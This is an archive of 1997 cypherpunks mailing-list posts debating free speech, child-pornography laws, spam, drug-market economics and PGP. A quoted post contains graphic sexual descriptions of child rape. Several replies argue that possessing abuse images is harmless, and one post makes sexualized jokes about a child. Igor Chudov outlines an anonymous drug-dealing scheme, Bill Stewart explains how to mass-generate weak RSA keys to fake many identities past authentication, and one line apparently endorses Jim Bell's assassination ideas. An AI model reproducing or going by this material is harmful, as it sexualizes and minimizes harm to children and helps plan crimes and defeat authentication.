Date: Tue, 10 Jun 1997 13:59:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <19970609224927.55362@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 09, 1997 at 12:03:52PM -0700, Tim May wrote:
> At 7:11 PM -0700 6/8/97, Kent Crispin wrote:
> 
> >
> >But the fundamental principle that says "redress is available for speech
> >that causes harm" seems fairly clean.  That cuts across advertising,
> >salespersons lies, libel/slander, yelling "fire" in a theater -- a
> >whole gamut of free speech issues.  Spam falls under such a rule, as
> >well.  Of course, the issue of prior restraint is orthogonal to this
> >rule...
> 
> This "fundamental principle" is not nearly as clean or as fundamental as
> you represent.

[Several good examples deleted.]

> No. And there should not be. Harm is a name for various adverse
> developments. Many if not most of them are closely linked to speech issues.
> Legislating harm away is not consistent with a free and open society.

A good point.  However, I only used one telegraphic sentence to
express my thought, not an essay such as you would write.  I don't
have time to write an essay, but let me try to add at least a little 
more.  Hopefully you can fill in the blanks.

Clearly, in this context "harm" would be actually defined through
laws, and some other term should be used.  Let me qualify it as 
"unfair harm", realizing that it's still probably not a good term.

"Unfair harm" (as I imagine this legal infrastructure to be) cannot
occur if it is a result of a consciously accepted risk.  Thus, for
example, if you engage in the game of business you consciously accept
the rules and risks of the game.  A competitor who advertises better
prices is not creating "unfair harm".

The point of this exercise is to move the debate from what kind of
speech is protected to a debate about what constitutes "unfair harm". 
That is, all speech is free, period.  If you cause "unfair harm",
however, you are responsible for it, whether it comes from speech or
from action. 

So, for example, rather than debating whether "true speech" is
protected, we ask whether a particular case of "true speech" caused
"unfair harm".  In questionable cases we don't agonize over whether
some artificial class of speech is free -- instead we argue over
whether the harm was "fair" or not.

Why change the terms of the debate?  Because it restores freedom of 
speech as an absolute, and places all the fuzzy stuff somewhere 
else.

[...]

> Spam is a name for "unwanted communications." The proper solution is
> technological/ontological, e.g., metering. It is a defect of our current

["ontological"?  What do you mean by that? (Ontology -- the study of the 
nature of existence?]

> e-mail model that one can deliver a million pieces of e-mail for no cost.

I don't believe that metering is a solution.  It has clearly not
worked for physical mail -- I make a moderate effort to keep myself
off mailing lists, but more than half of my p-mail is junk.  That's
worse by far than my email. 

> This will be fixed, and is a solution vastly preferable to having a
> government agency decide which communications are permissable and which are
> not.

I don't favor a government agency.  I think other technologies than 
metering will be necessary.

> (Many of these issues are mooted by crypto anarchy, of course.)

Oh sure.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 14:14:59 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <v03102813afc280fe6067@[207.167.93.63]>
Message-ID: <3.0.2.32.19970609224931.00755400@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:22 PM 6/9/97 -0500, Igor Chudov @ home wrote:
>I have a business plan. It presumes that I can RECEIVE cash
>anonymously and operate in a certain city. As far as I understand,
>a modification of existing protocols allows to implement anonymity 
>of payees.

Receiving the cash is the hard part. This has been discussed extensively.
You can post to alt.drugs and advertise your wares. You can mail the wares
by simply putting them in random mailboxes. You can even receive the
purchase orders, though this is at present more difficult. What you can't
do is get the money securely. You need two way anonymous ecash for that
purpose. And that doesn't exist yet for all practical purposes. Though I
hear this major obstacle to free enterprise is about to be overcome.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 14:10:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Response to "My War"
In-Reply-To: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
Message-ID: <199706100602.XAA28250@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Se7en recapitulates:

> As far as freedom of speech goes, sorry guys, it does not cover activities 
> which violate the rights of others. Someone does not have the right to fuck 
> a four-year-old girl in the ass, take pictures of it, and then scan it and 
> upload it to the Internet. No one has the right to force a six year old 
> girl to suck his dick until cum is running down her face, take pictures 
> of the whole thing, and, once again, upload it to the Internet. This is 
> not covered. Go back to school if you think it is.

Straw man.  There is no evidence that such activities are being engaged
in, photographed, and uploaded to the Internet by the perpetrator. 

There is a huge difference between crimes being illegal, and crime scene
pictures being illegal in the possession of someone having no link
whatsoever to the original perpetrator. 

There is an even larger difference in scenes of very old non-crimes being
illegal in the possession of anyone whatsoever. 

All of these things get lumped under the general catch-all phrase "child
porn." 

> ME: "If I was at Defcon and entered a system without authorization that 
> was dedicated to the distribution of child pornography and destroyed it, 
> and you were looking over my shoulder the whole time and saw what I did, 
> would you arrest me?"
> THEM" "I would turn around and walk away."

Take the officer's name and badge number.  He needs to be fired. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 10 Jun 1997 11:32:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WSJ on Money Laundering
In-Reply-To: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
Message-ID: <v0302090fafc2747f7769@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:42 pm -0400 on 6/9/97, Alan wrote:


> In fact, the article points out that just about
> any monetary transaction can be declared money laundering.  (And get
> upheld in court!)


Yeaaaah... Ain't fungibility a bitch?

Well, folks, about 30 years we sowed a crop of inumeracy in our school
system, and now it's time to reap the harvest.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 14:21:01 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: Response to "My War"
In-Reply-To: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
Message-ID: <3.0.2.32.19970609231011.007482c4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:07 PM 6/9/97 -0700, se7en wrote:
>As far as freedom of speech goes, sorry guys, it does not cover activities 
>which violate the rights of others. Someone does not have the right to fuck 
>a four-year-old girl in the ass, take pictures of it, and then scan it and 
>upload it to the Internet.

Amen to the first part of the sentence. [Are there really pictures  like
that available? I too have investigated USENET to determine out just how
much truth there was to the claim of abundant child pornography available
on the Net and found only the type of pictures a casual observer could take
on any given Summer day at a Mediterranean beach. Oh, and 30+ year old
women in baby doll dresses. Twisted, but hardly child porn. Maybe child
porn is available on the net. But if I can't find it, it hardly is abundant.]

As to the last part of the sentence, who' rights, exactly, were violated
when a pre-existing picture was scanned and posted? I assume you could say
that the child's rights were violated since it didn't sign a release. What
if its legal guardian agreed to the posting of the immage? I concur that a
child's legal guardian can not validly agree to the child being subjected
to the deranged treatment you describe, but I fail to see how the mere act
of scanning and posting the pictures is any different than scanning and
posting any other picture. Assuming the person scanning and posting is not
involved in the production of the pictures.

Thanks,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:20:18 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102810afc276b6f608@[207.167.93.63]>
Message-ID: <199706100411.XAA03021@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
> >Lucky Green wrote:
> 
> >> The answer is clearly no. By limiting the distribution of an individual
> >> picture, you increase the total number of pictures required to satisfy
> >> market demand. That means more children will be required to meet demand.
> >
> >How do you justify that "clearly"?
> >
> >I think that your analysis is incorrect.
> >
> >This is a supply and demand situation. It is very simple to show (as any
> >microeconomics textbook does) that a tax on the product reduces the amount
> >of product sold and produced.
> 
> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.
> 
> Closer to home, analyze gas consumption as gas taxes in American have risen
> nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

An interesting point, Tim.

Your examples show that over time, demand and supply curves change. For
example, despite taxation, there are more people driving and they have
to drive farther because more people live in suburbs.

I would not be surprised if, when a certain product is taxed, its
consumption would increase over the long run due to many other factors
besides taxes.

The question that is more relevant is, what is the incremental impact
of the tax, that is, what would happen if the tax changed and all
things remained equal? (this may be called a short term impact of the tax)

An example to look at is online [adult] porn. It is, for all practical
purposes, not regulated. We see a humongous number of pornographic
images being created, not surprisingly, even though Lucky's argument
would suggest that there should not be such a variety if anyone can
freely copy them.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Yes, of course the price rises if a tax is imposed. The same econ 101
shows that if the demand is inelastic (as it is the case for drugs), the
buyers pay the bulk of the tax. So of course, the punitive laws
increased prices and made the business more lucrative. But the same laws
have also made drug trade more dangerous, because drug dealers risk to
go to jail and be shot by other dealers.

I would not be surprised to see that when the drug tax diminishes, the
drug use would go up. As a drug-free person, I do not care much about it
as, since drugs would be cheap, drug addicts will not have to kill
people to get a dose. And in the longer run, greater availability of the
images of drug addicts would probably have a good deterrent effect.

The cost of the drug tax to the society is all the inefficiencies
created by it: for example, when thousands of hard working business
people are locked up in expensive jails, it is a cost with little
offsetting benefit. The shootouts between gangs is also a cost insofar
as bystanders are involved.

Also, in an efficient system where people could buy crack at a Walgreens
counter, there would be less people involved in the whole business,
because Walgreens is more efficient at distribution than the inner city
drug dealers. As a result, these former drug dealers would be out of
business and be gainfully employed in some more productive trade.

> A complicated system, no doubt, but arguments based on "Econ 101" are
> usually flawed when dealing with complex systems (something Samuelson would
> almost certainly agree with me on).

Samuelson himself has "proven" some quite funny theorems.

> >Since a unit of product is probably one picture of a child, there are
> >less units produced if they are taxed.
> 
> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Tim, let's compare child porn (with images of persons below 18 years
of age) with adult porn.

In other words, 

	1) there is little difference, in terms of consumer utility,
	   between pictures of 17 year olds and pictures of 21 year 
	   olds
	2) The costs of producing these images, EXCLUDING TAX, are 
	   essentially equal.

That should lead us to expect that without taxes, the number of 16 year
old pictures would be about the same as the number of 21 year old
pictures, give or take 50%.

However,

	3) There is a tax imposed on "child" porn.

And we indeed observe that 

	4) the number of 16 year old images that is available
	   is much, much lower.

> If you look at your Econ 101 text again, read up on cycles of pork bellies
> and suchlike agricultural products. Every shortage is followed by a period
> of "overproduction," and vice versa.

The problem with cyclical products is high fixed costs and high exit costs.

Agricultural products are very specific because their production cannot
be easily changed when the future supply becomes certain. After all, you
can't kill all the little pigs or raze the corn crop and plant potatoes
in June, even  if you know that due to the weather there will be a lot
of it in the market.

> What this all means for the porn trade is unclear, but looking at the drug
> trade is pretty revealing.

Could not agree more.

> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 10 Jun 1997 11:37:59 +0800
To: cypherpunks@toad.com
Subject: Intro to Cyptosystems talk 6/23 7pm
Message-ID: <v03020918afc276aefaeb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: net-thinkers@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 9 Jun 1997 14:32:34 -0700
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <net-thinkers@thumper.vmeng.com>
Subject:  Intro to Cyptosystems talk 6/23 7pm

ever wondered what the buzz about cryptography is all about..

You are all welcome to attend my "Introduction to Cyptosystems"  tutorial at
the BMUG South meeting.. It's open to the public.

When:  Monday, Jun 23
Time:  7:00 PM
Where:  Town Hall, Apple R&D Campus (blding 5)
How long: 60 mins or so?

---------------

Q: Why should you care about this stuff..?

A: The internet is not a secure channel,  It's easy intercept your email or
files or even know what webpages youve been looking at. Cryptography is a
tool that provides you privacy and protection from competitors and the news
media scum. How much do you trust to the internet?

Cryptography is also the best protector of the most cherished civil
liberty: "the freedom of speech"

Q: But I have no secrets to keep?

A: Cryptography is not just about secrets, In addition to providing
confidentiality, modern cryptography holds the  building blocks necessary
for successful electronic commerce.

	Authentication:
	The receiver of a message can  ascertain it's origin;
	 an intruder should not be able to masquerade as someone else.

	Integrity
	The receiver of a message can ensure that the data has not
	been modifed in transit;  an intruder should not be able to
	substitute a false message for a legitimate one.

	Nonrepudiation
	A sender should not be able to falsely deny that he sent a message

Q:Why should I care about electronic commerce. Apple hasnt done anything
with it?

A:  That the point of this talk. E-Commerce will be a bigger market than
anything we have ever been in before.  Ask yourself, What is the biz
proposition  for anyone publishing on the NET and the answer will be net
commerce.

Q: what will you talk about

    What is Cryptography
	What it's used for
	How Cryptosystems work
	secret/public key encyption,
	digital signitures,
	modern crypto systems
	key management,
	e-commerce,
	Governement Issues

    This talk is NOT aboutŠ
	Theoretical Mathematics
	Programming APIs
	Specific Products

	Who this talk is for
	Marketing Evangelist Engineer
	Anyone who needs to be Crypto competent

There is a PDF of the slides at http://www.vmeng.com/vinnie/papers.html



Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 10 Jun 1997 13:28:35 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <H0528D53w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970609231250.58466B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

I think Vulis needs each of us to send ten copies of this back to him.
> 
> Folks, when replying to the ASCII art, please try to quote enough of the
> body so it'll be picked up by the filters :-)
> 
> [Or should I be filtering on the Subject line?]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:34:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <v03102813afc280fe6067@[207.167.93.63]>
Message-ID: <199706100422.XAA03115@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> It's all very complicated. And strong crypto, of course, is on the verge of
> making the risk of getting caught near zero. You know the rest.

I do not think that it is "on the verge", rather, it is there already.

I have a business plan. It presumes that I can RECEIVE cash
anonymously and operate in a certain city. As far as I understand,
a modification of existing protocols allows to implement anonymity 
of payees.

I open a trug trading center at, for example,
drugz@anonymous.mailserver.com. Alternatively, I can publish my public
key in alt.anonymous.messages.

Drug addicts would send me digital cash and specify which drugs they
wish to receive, and send me their public keys. I would place their
drugs in some random place in that city, and then send them (anonymously) 
the location of the place so that they can pick it up.

I do not see how I can be detected, modulo the security of anonymous
remailers. Since my reputation will be based on PGP authentication, I
will have an incentive not to cheat.

	- Igor.

P.S. I do not believe that anon remailers provide an adequate security.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 10 Jun 1997 15:03:23 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970609234548.51666@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 11:46:54AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Kent Crispin <kent@songbird.com> writes:
[.interesting historical references deleted.]
> > their very nature involve "enforcement".  What you say in a contract
> > binds you.  What you say outside of a contract does not.  What you say
> > in a contract is, therefore, and by definition, not "free".
> 
> When a tobacco company says in an ad, "Joe Camel is cool", what kind
> of contractual obligations does it assume?

None.  I did not say that all ads were part of a contract.

> Have you ever bought a used car, Kent?  Have you seen the language in
> the contract that throws out whatever promises the saleguy made that
> are not a part of the contract? 

Yes, but never from a used-car lot, always from people I know.  I have
bought a new car -- I don't recall the details of the contract, but it
seems quite probable that such a clause would exist. 

> If I claim on Usenet that borshch
> cures cancer, who are the counterparties, and what consideration do
> I get?

No one.  None.

I didn't say that all ads were contracts.  It seems to me, though,
that there is no clear dividing line possible between advertising and
verbal contracts, and that the clause you mention in the used car 
case is indirect evidence in support of this -- car companies 
consider it prudent, after all, to get you to sign something that 
relinquishes your right to hold a salesman to what he says.

I believe the ambiguity between ad and verbal contract is unavoidable
in principle.  Can you suggest any simple clear rule that works?
"Caveat emptor" won't do it -- one of the primary purposes of
contracts is to give redress in the case of non-performance, which is
directly contrary to caveat emptor. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 10 Jun 1997 16:26:18 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.1.32.19970610011235.0068f800@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:05 PM 6/8/97 -0400, Robert A. Costner wrote:
>If I generate a personal PGP keypair on some machine it takes a specific 
>period of time to do the intensive calculations, let's assume ten minutes
for 
>this example.  If I needed 10,000 such individual keyspairs for a
unspecified 
>authentication attack, does this have to take 10,000 times 10 minutes (over 
>two months with this CPU), or is there a faster way to generate a large 
>number of keypairs to appear to be a large number of people.
>
>The larger question is since 10,000 unique written signatures seems to 
>indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
>signatures also seem to indicate that these are not from the same person?

If you're concerned about legitimacy, independence of keys, etc.,
then doing them one at a time is the way to go.  However, if you're
just trying to gen up a bunch of keys to fake your way through an
authentication system that wants "different" keys, and you don't mind
a bit of coding or code-borrowing, you can do far better.

First of all, you can generate 10,000 different RSA keys by generating
~142 prime numbers and using combinations of two of them.
Furthermore, you don't need to generate good random numbers to seed
the prime number searcher, so you've gone from 10,000 randoms plus
10,000/P(prime) prime searches to 1 random plus 142/P(prime) prime searches.

However, your RSA keys may not even need to be that good,
depending on the authentication system you're trying to weasel into.
RSA uses n=pq, p and q prime, and ed==1 mod (p-1)(q-1),
where e and d are relatively prime to n (usually e is a small prime.)
So you could pick _one_ pair of primes and 10,000 values of e,
if the test doesn't mind that all the (e,n) pairs have the same n,
and the e's can be a table of the first 10,000 primes.
A cheap test might or might not notice, depending on whether it's
using PGP KeyID or fingerprint or some other hash.
(Since the keyID is "just the bottom few bits of the modulus",
a test using the KeyID would notice -- so you've got to social-engineer
them into using a "better" test with the length and fingerprint :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 10 Jun 1997 16:29:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <3.0.1.32.19970610012038.03060dfc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:58 AM 6/9/97 -0700, Huge Cajones Remailer forwarded:
>Sorry if this has been beaten to death before (if it has, a pointer to
>where it is in the archives would be appreciated), but is it possible to
>chain anonymizing proxy servers in a way similar to remailers?

Depends on the user interfaces of the anonymizing proxies - 
a system that lets you request what you want in the URL
may let you do more than a system that insists you type stuff in blanks,
but on the other hand,
http://anon.foo.com/proxy/anon.bar.com/proxy/anon.zork.com/proxy/thoughtcrim
e.com/
lets the everything in the chain see that you're really trying to reach
thoughtcrime.com, while a succession of SSL-encrypted forms popping up that
you fill in the blanks on may be harder to automate, but more secure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Tue, 10 Jun 1997 18:07:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime (Re: My War)
Message-ID: <Pine.LNX.3.96.970610025327.9794A-100000@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Comrade Declan:

Thank you for labeling se7en's thoughtcrime as such and blocking his
subversive and enturbulating assertions from the fight-censorship mailing
list. The counterrevolutionary sedition that there is such a thing as
kiddie porn on the Holy Internet shall be suppressed forthwith. Verily,
traitor to the Holy Cause se7en is naught but an NSA Shill, who belongs
in the Pit of Despair with the other thought criminals.

Operation Free Speech II is proceeding according to the Five-Year Plan.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=M9iS
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 17:43:31 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime (Re: My War)
Message-ID: <199706100931.FAA07504@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> Subject: How "child porn" laws ban pix of girls in leotards
> 
> At 11:54 -0700 6/9/97, Vangelis wrote:
> >None of this out-of-control angry mob shit, alright?  THINK.  If it's too
> >hard a task to go after ONLY those genuinely responsible and you'd rather
> >go after their friends, family, co-workers, customers, or anyone else
> >you've rationalized as somehow indirectly encouraging the activity w/o
> >actually participating, then you've got no business playing vigilante -
> >you've become just another wreckless crusader *blinded* by his own
> >self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
> >McCarthyism (just to name a few) have already given us enough of those.

  It seems logical to deduce that a child pornographer would want
to cover up their activity by loud protestations about child porno
on the internet. The obvious solution to child pornography on the
internet is to attack those who most loudly protest against it.

> The main reason folks seem to be in a lather about the "threat" of child
> porn is that it might ruin the Net for everyone. That is, it gives Congress
> an excuse to censor it and bring it under ever-tightening controls.

  Perhaps the answer, as with alcohol and gambling, is to put child
pornography under government regulatory control. Find a way to tax it.
Then only those who were not decent, law-abiding child pornographers
would have to fear imprisonment.

> Also, I see a lot of uninformed rants on this list about "we must uphold
> child porn laws." Few people seem to realize that the long-standing Federal
> child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
> not making this up. No nudity. No breasts. Certainly no genitals. But the
> Supreme Court upheld the conviction in the Knox case. Now the law is even
> worse, since it criminalizes morphed images that *look* like kids in
> leotards, even if the models were 25-year old adults.

  And William Geiger could be criminalized by the fact that his bad
speling and the gramma make his posts *look* like crypto.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 18:12:36 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   [Lisa Bonet Ramsey]
Message-ID: <199706101001.GAA09197@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Precisely. The laws are designed to go after the thoughts. Synthetic
> images, images of little girls in leotards. images of teenagers of legal
> age *in the countries of origin*...none of these involve acts of sexual
> congress with a child in violation of the laws of the U.S. The only crime
> is thoughtcrime.

 I couldn't help but notice from the TV reports that Lisa Bonet
Ramsey was a pretty hot little number. Has Peter Jennings been 
arrested yet for his part in the national media helping to spread
child pornography? Kookie Roberts?
 What if I send the FBI a picture of myself pulling my pud while
watching young Lisa strutting her stuff on the ten o'clock news?
Will the newscasters be imprisoned for conspiracy in my thought
crime?

> As for whether it is "sick" to be sexually attracted to an "underage"
> person, I sure do recall being attracted to a lot of the girls in high
> school, and they were certainly nearly all "underaged."

 Mother Nature was undoubtably a co-conspirator in your criminal
thoughts. If you had been charged you probably could have eased 
your sentence by ratting her out.

A. Perv





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 10 Jun 1997 20:01:41 +0800
To: cypherpunks@toad.com
Subject: Encryption Workshop
Message-ID: <1.5.4.32.19970610113747.008de16c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



On June 10, BXA will present an Encryption Workshop 
at the Westin Santa Clara, in Santa Clara, California. 

The half-day program will highlight the current U.S. policy 
on encryption and will include discussion of the main 
elements of the interim rule published December 30, 1996, 
including license exception KMI and the licensing process. 

The program will also address upcoming revisions based 
on the Administration's initiative to promote the use of
strong encryption by U.S. banks and financial institutions 
and their subsidiaries overseas.

For registration information, please contact: 

Carol Truhe with the Professional Association for Exporters 
and Importers at (408) 524-2135 or by fax at (408) 524-2023. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Tue, 10 Jun 1997 23:28:17 +0800
To: cypherpunks@cyberpass.net
Subject: hidden.net temporarily down
Message-ID: <199706101520.IAA09648@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain




     The magic smoke escaped from the machine running
remailer@hidden.net.  It is being moved to a new machine forthwith.
Expect a couple days downtime while the IP address change propogates.

remailer-admin@hidden.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deborah Stewart <azur@netcom.com>
Date: Tue, 10 Jun 1997 23:37:28 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Thoughtcrime (Re: My War)
In-Reply-To: <v03007804afc24574f7af@[168.161.105.191]>
Message-ID: <v03102801afc320d61e0a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>But isn't it clear that the true enemy is the censor? Stamp out child porn
>and then Congress will use Nazi sites, or regular porn sites, or sites that
>collect personal information as an excuse and justification for censorship.
>That's why you should attack the censors (and the real child molestors),
>not those trading dirty JPEGs.

No, the true enemy are the law makers which pander to the censors, ignoring
the constitution and the judicial which interpret the constitution to suit
the times and the mob.  Jim Bell was right!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Wed, 11 Jun 1997 23:51:03 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: FCPUNX:Response to 'My War'
Message-ID: <199706111536.IAA03247@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> Anyone who thinks this doesn't affect the young children, you are wrong. 
